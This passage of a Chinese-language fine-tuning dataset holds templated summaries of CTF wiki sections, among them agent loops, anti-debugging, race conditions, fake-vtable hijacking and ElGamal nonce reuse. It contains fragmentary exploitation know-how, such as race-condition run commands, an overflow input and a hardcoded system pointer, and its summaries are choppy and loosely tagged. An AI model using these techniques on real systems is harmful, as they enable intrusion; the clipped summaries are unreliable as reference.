seconds.\n- 由于 AI Agent 本质上是一门复杂的系统工程，因此在接下来的章节当中，我们将不仅局限于自行编写小的示例代码，不仅仅囿于现在这样简单的朴素代码说明与构造，而是逐渐引入真实的开源项目作为示例代码进行讲解（如 https://github.com/A3INFRA/Flagent 、https://github.com/deepseek-ai/awesome-deepseek-agent、https://github.com/NYU-LLM-CTF/nyuctf_agents、https://github.co...\n- [] Flag found: CTF2{40079982-f262-4d1a-a517-150826f28b85} [] All tasks completed!\n- Total time: 326.7940514087677 seconds.\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1328, "chunk_count": 3, "chunk_index": 2, "ctf_score": 22, "ctf_task_type": "ai", "heading": "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目"], "original_id": "docs-0e92ccf5f16bf972696d", "original_line": 22, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "8d7d0c7688216f6ecd242e70", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7b940dac7277b4b37b6f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「反调试技术例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“反调试技术例题”展开。\n- `` c int __cdecl main(int argc, const char argv, const char envp) { v23 = 0;\n- 我们现在来分析一道2016年SecCon的anti-debugging题, 题目下载链接: bin.exe 这是一个32位的PE文件, 是一个控制台程序, 我们直接运行, 会要求输入password. 当你输入一个错误的password时则会提示你password is wrong.\n- 文件: ./figure/2016_seccon/run.png] 我们用IDA打开来看下, 最快速的方式就是直接查看字符串, 根据password is wrong找到关键代码.\n- 文件: ./figure/2016_seccon/ida_strings.png] 显然, 字符串表明程序中可能有各种检测, 比如检测进程名ollydbg.exe, ImmunityDebugger.exe, idaq.exe和Wireshark.exe. 然后也有其他的检测. 我们也看到了字符串password is wrong和You password is correct的字样. 同时还发现了一个很有可能就是待解密的flag的字符串. 那么我们就先根据password is wrong的交叉引用来到关键...\n- v22 ) { puts(\"Your password is correct.\");\n\n关键术语：\n- 密码学\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2699, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "反调试技术例题", "heading_path": ["反调试技术例题"], "original_id": "docs-7b8077d6796dea6e3b3b", "original_line": 1504, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "9d27fd4bd4ad09c12f7699e3", "subcategory": "reverse/platform/windows", "terms": ["密码学", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7dac904cea62be795cb5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「3. 在环境中执行代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 3. 在环境中执行代码\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“3. 在环境中执行代码”展开。\n- 出于安全策略考虑，目前我们选择仅让 Agent 拥有着在指定 Docker 容器内进行代码执行的权能。\n- 在计算机上能够进行的动作很多：鼠标点击、键盘敲击、...，对于人类而言我们能够接触到的实体接口很多，但是对于 LLM 而言，他只是一个读取文本输入后给出文本输出的语言模型（当然，对于接收请求的我们而言，文本形式的 response 自然也是更好去编写程序处理的），因此我们不难想到的是，对于 LLM 而言最方便的一种执行动作的方式其实是 让 LLM 生成 shell 命令 ，我们将 LLM 生成的 shell 命令进行执行，再将执行结果（stdout、stderr、retcode）返回给 LLM。\n- 一个比较简易的实现方式是我们将 LLM 输出的命令拷贝到容器中的执行文件里，然后再执行 docker exec 来在容器里执行该命令。\n- > 本章节我们暂时不引入“工具调用”（tool call）的概念。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:python\n\n代码/命令片段线索：\n- python: 23 行，首行 `class DockerExecutor:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1209, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "3. 在环境中执行代码", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "3. 在环境中执行代码"], "original_id": "docs-54677d15c55571910787", "original_line": 17, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "ae8087312a16d43e8dac0a00", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7e0dbfffed9923019434", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：Race Condition > 概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 但是由于程序的并发性，攻击者很有可能可以在 action2 执行之前的这个短暂的时间窗口中破坏 action1 所产生的条件。\n- 这时候攻击者的操作与 action2 产生了条件竞争，所以可能会影响程序的执行效果。\n- 虽然这个时间的间隔可能非常小，但是攻击者仍然可能可以通过执行某些操作（如计算密集型操作，Dos攻击）使得受害机器的处理速度变得相对慢一些。\n- 由于目前的系统中大量采用并发编程，经常对资源进行共享，往往会产生条件竞争漏洞。\n- 如果条件竞争漏洞被攻击者利用的话，很有可能会使得攻击者获得相应系统的特权。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- race-condition\n- code:c\n- code:shell\n\n代码/命令片段线索：\n- c: 19 行，首行 `#include `\n- shell: 11 行，首行 `➜ 005race_condition ./example1`\n- c: 11 行，首行 `➜ 005race_condition ./example1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2409, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "概述", "heading_path": ["Race Condition", "概述"], "original_id": "docs-da3ae822741355fac065", "original_line": 1219, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "a6ecb29a35a0018c7617f69e", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "race-condition", "code:c", "code:shell"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7e0f85781c7e546eebd9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/introduction.md` 中的章节「像素值转化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/introduction.md`\n标题：图片分析简介\n章节：图片分析简介 > 像素值转化\n路径分类：misc / misc/picture/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“像素值转化”展开。\n- 这类题目大部分都是一些像素块组成的图片，如下图 [图片文件: ./figure/brainfun.png] 相关题目: - CSAW-2016-quals:Forensic/Barinfun - breakin-ctf-2017:A-dance-partner\n- `` 255,255,255,255,255...........\n\n关键术语：\n- AI安全\n- misc\n- picture\n- introduction.md\n- code:python\n\n代码/命令片段线索：\n- plain: 1 行，首行 `255,255,255,255,255...........`\n- python: 14 行，首行 `from PIL import Image`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 781, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "像素值转化", "heading_path": ["图片分析简介", "像素值转化"], "original_id": "docs-46d8d6043f8a5ba94d5b", "original_line": 579, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "source_root": "docs", "source_sha256": "ebd475a7ab552a0140dc5e4cbb84be9caa90680da1d6a3312777797eb846adb8", "split": "train", "split_group_key": "c8d4ead2d83ce8bc9efd9182", "subcategory": "misc/picture/introduction.md", "terms": ["AI安全", "misc", "picture", "introduction.md", "code:python"], "title": "图片分析简介"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-7e51a50d3cbaace7e537", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/problem.md` 中的章节「具体效果」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/problem.md`\n标题：题目\n章节：题目 > 构造例子 > 具体效果\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“具体效果”展开。\n- : No such file or directory open file failed!\n- ``shell ➜ racetest (sh exp.sh &) && sh run.sh [...] file size is too large!\n- : No such file or directory [FLAG_REDACTED] [...] ` 其中成功的关键在于对应的 sleep` 的时间选择。\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- user-mode\n- race-condition\n- code:shell\n\n代码/命令片段线索：\n- shell: 12 行，首行 `➜ racetest (sh exp.sh &) && sh run.sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 433, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "具体效果", "heading_path": ["题目", "构造例子", "具体效果"], "original_id": "docs-89be17e548e99b968806", "original_line": 1230, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "source_root": "docs", "source_sha256": "659a0705e4853c265b5228b8dce6dcabc7038c914dbd2b708c5fddd53014d6f0", "split": "train", "split_group_key": "62398569df75fbff56edad53", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "pwn", "linux", "user-mode", "race-condition", "code:shell"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-8135b3e2234d94ae55a5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/experience.md` 中的章节「分清区段与端口」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/experience.md`\n标题：线下攻防经验小结\n章节：线下攻防经验小结 > 分清区段与端口\n路径分类：introduction / introduction/experience.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分清区段与端口”展开。\n- 维护的时候需要连接到本队 GameBox 所在网段上，根据主办方提供的 CTF 账号与密码登录。\n- 而与其他队伍的 GameBox 交互时则需要连接到对应的网段里与漏洞程序进行交互。\n- 如果端口在不轻易间弄错的话，这样的错误是挺难察觉到的，而这样的失误也会带来不必要的损失。\n- 甚至会出现长时间无法提交 flag 的致命情况。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- experience.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "分清区段与端口", "heading_path": ["线下攻防经验小结", "分清区段与端口"], "original_id": "docs-0ec0802f6a306b355544", "original_line": 522, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "source_root": "docs", "source_sha256": "e592320dcfc0ecda96a25a0b459d8a88f3cc2a78f546ee90f9c36ef295764e89", "split": "train", "split_group_key": "d947e2759376afd1927f55db", "subcategory": "introduction/experience.md", "terms": ["密码学", "漏洞利用", "experience.md"], "title": "线下攻防经验小结"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-81810066fea1ec792b96", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/history.md` 中的章节「早期 CTF 竞赛」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/history.md`\n标题：CTF 历史\n章节：CTF 历史 > 早期 CTF 竞赛\n路径分类：introduction / introduction/history.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“早期 CTF 竞赛”展开。\n- 早期的 CTF 比赛（1996 年-2001年），没有明确的比赛规则，没有专业搭建的比赛平台与环境。\n- 由参赛队伍各自准备比赛目标（自行准备与防守比赛目标，并要尝试攻破对方的比赛目标）。\n- 由于当时没有后台自动系统支持和裁判技术能力认定、计分延迟和误差以及不可靠的网络和不当的配置，这样的比赛形式在当时带来了极大的争论与不满。\n- 而组织者大都只是一些非专业的志愿者，接受参赛队伍手工计分的请求。\n\n关键术语：\n- history.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "早期 CTF 竞赛", "heading_path": ["CTF 历史", "早期 CTF 竞赛"], "original_id": "docs-113773ee90977f1b23e3", "original_line": 524, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/history.md", "source_root": "docs", "source_sha256": "fae696e7f340da14e22257b1b18f36222d26b0ef16fd7723e1745bf1c6153db3", "split": "train", "split_group_key": "98164682a1d27c840149fdc3", "subcategory": "introduction/history.md", "terms": ["history.md"], "title": "CTF 历史"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/history.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-84c66b2cf5cfcf6b3f68", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/gif.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/gif.md`\n标题：GIF\n章节：GIF > 文件结构\n路径分类：misc / misc/picture/gif.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件结构”展开。\n- 一个GIF文件的结构可分为 - 文件头（File Header） - GIF 文件署名（Signature） - 版本号（Version） - GIF 数据流（GIF Data Stream） - 控制标识符 - 图象块（Image Block） - 其他的一些扩展块 - 文件终结器（Trailer） 下表显示了一个 GIF 文件的组成结构： [图片文件: ./figure/gif.png] 中间的那个大块可以被重复任意次\n\n关键术语：\n- AI安全\n- misc\n- picture\n- gif.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 222, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "文件结构", "heading_path": ["GIF", "文件结构"], "original_id": "docs-e85df376d6a5fee4076c", "original_line": 573, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "source_root": "docs", "source_sha256": "4ab7c472b31541161ddb401ad7439593a656caf10fd24929eb2630025ebe9f8b", "split": "train", "split_group_key": "6ac23e07e109fb51f6841027", "subcategory": "misc/picture/gif.md", "terms": ["AI安全", "misc", "picture", "gif.md"], "title": "GIF"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-85fa73da2eb53d81df07", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「实践」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：伪造vtable劫持程序流程 > 实践\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“实践”展开。\n- 利用这点可以实现给劫持的vtable函数传參，比如 ` #define system_ptr 0x7ffff7a52390;\n- 这里演示了修改vtable中的指针，首先需要知道_IO_FILE_plus位于哪里，对于fopen的情况下是位于堆内存，对于stdin\\stdout\\stderr是位于libc.so中。\n- 不过，通过在可控的内存中伪造vtable的方法依然可以实现利用。\n- `` int main(void) { FILE fp;\n- int main(void) { FILE fp;\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 9 行，首行 `int main(void)`\n- plain: 11 行，首行 `#define system_ptr 0x7ffff7a52390;`\n- plain: 13 行，首行 `#define system_ptr 0x7ffff7a52390;`\n- plain: 6 行，首行 `print &_IO_2_1_stdin_`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2175, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "实践", "heading_path": ["伪造vtable劫持程序流程", "实践"], "original_id": "docs-0a75d01b984a01812c8b", "original_line": 1201, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "87213a1366f6194851667517", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-866d706774ebe291407a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/junk-code.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/junk-code.md`\n标题：花指令\n章节：花指令 > 例题\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 文件: ./figure/2017_pediy/stack.png] 因此我们可以通过溢出数据, 覆盖掉返回地址, 从而转移到任意地址继续执行. 这里我还需要解释一下, 就是scanf之前写的几个混淆视听的函数, 是一些简单的方程式但实际上是无解的. 程序将真正的验证逻辑加花混淆, 导致IDA无法很好的进行反编译. 所以我们这道题的思路就是, 通过溢出转到真正的验证代码处继续执行. 我们在分析时可以在代码不远处发现以下数据块.\n- 文件: ./figure/2017_pediy/real_code.png] 值得注意的是, 这段代码的位置是0x00413131, 0x41是'A'的ascii码，而0x31是'1'的ascii码. 由于看雪比赛的限制, 用户输入只能是字母和数字, 所以我们也完全可以利用溢出漏洞执行这段代码 用OD打开, 然后Ctrl+G到达0x413131处设下断点, 运行后输入12345612345611A回车, 程序成功地到达0x00413131处. 然后右键分析->从模块中删除分析识别出正确代码 [图片: entr...\n- 文件: ./figure/2017_pediy/main.png] 这里使用了不安全的scanf函数, 用户输入的缓冲区只有0xCh长, 我们双击v1进入栈帧视图 [图片: stack.png;\n- 文件: ./figure/2017_pediy/block.png] 因为IDA没能很好的识别数据, 因此我们可以将光标移到数据块的起始位置, 然后按下C键(code)将这块数据反汇编成代码 [图片: real_code.png;\n- 文件: ./figure/2017_pediy/jnz.png] 通过修改标志寄存器来满足跳转. 继续跟踪步入(之后还有0041362E jnz ctf2017_.00413B03需要满足). 保证逻辑正确后, 将有效指令取出继续分析就好了 [图片: register.png;\n\n关键术语：\n- 边界/溢出\n- 栈\n- AI安全\n- 漏洞利用\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1581, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["花指令", "例题"], "original_id": "docs-398d5bc7c5cc20f2892a", "original_line": 1521, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/junk-code.md", "source_root": "docs", "source_sha256": "ac4473c0c424a0038745531c163359fffdddcba10571191f41111b2f050b99e7", "split": "train", "split_group_key": "c4c84e3f998221b8404263c3", "subcategory": "reverse/platform/windows", "terms": ["边界/溢出", "栈", "AI安全", "漏洞利用", "reverse", "platform", "windows", "anti-debug"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-874d753aae0a8c242c89", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「攻击条件」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 常见攻击 > 完全破译攻击 > 攻击条件\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击条件”展开。\n- p太小或无大素因子 如果$p$太小我们可以直接用大部小步算法分解, 或者如果其无大的素因子, 我们可以采用$Pohling\\: Hellman$算法计算离散对数即可进而求出私钥。\n- 随机数k复用 如果签名者复用了随机数k，那么攻击者就可以轻而易举地计算出私钥。\n- 进而，我们可以根据s的计算方法得到私钥d，如下 $$ d \\equiv \\frac{m-ks}{r} $$\n- 具体的原理如下： 假设目前有两个签名都是使用同一个随机数进行签名的。\n- 那么我们有 $$ r \\equiv g^k \\bmod p \\\\\\\\ s _1\\equiv (m_1-dr)k^{-1} \\bmod p-1\\\\\\\\ r \\equiv g^k \\bmod p \\\\\\\\ s_2 \\equiv (m_2-dr)k^{-1} \\bmod p-1 $$ 进而有 $$ s_1k \\equiv m_1-dr \\bmod p-1 \\\\\\\\ s_2k \\equiv m_2-dr \\bmod p-1 $$ 两式相减 $$ k(s_1-s_2) \\equiv m_1-m_2 \\bmod p-1...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- signature\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 584, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "攻击条件", "heading_path": ["ElGamal", "常见攻击", "完全破译攻击", "攻击条件"], "original_id": "docs-a4b9b247a7d2d6962ed7", "original_line": 413, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "0b0fc648c2669094278fb05e", "subcategory": "crypto/signature/elgamal.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "signature", "elgamal.md"], "title": "ElGamal"}, 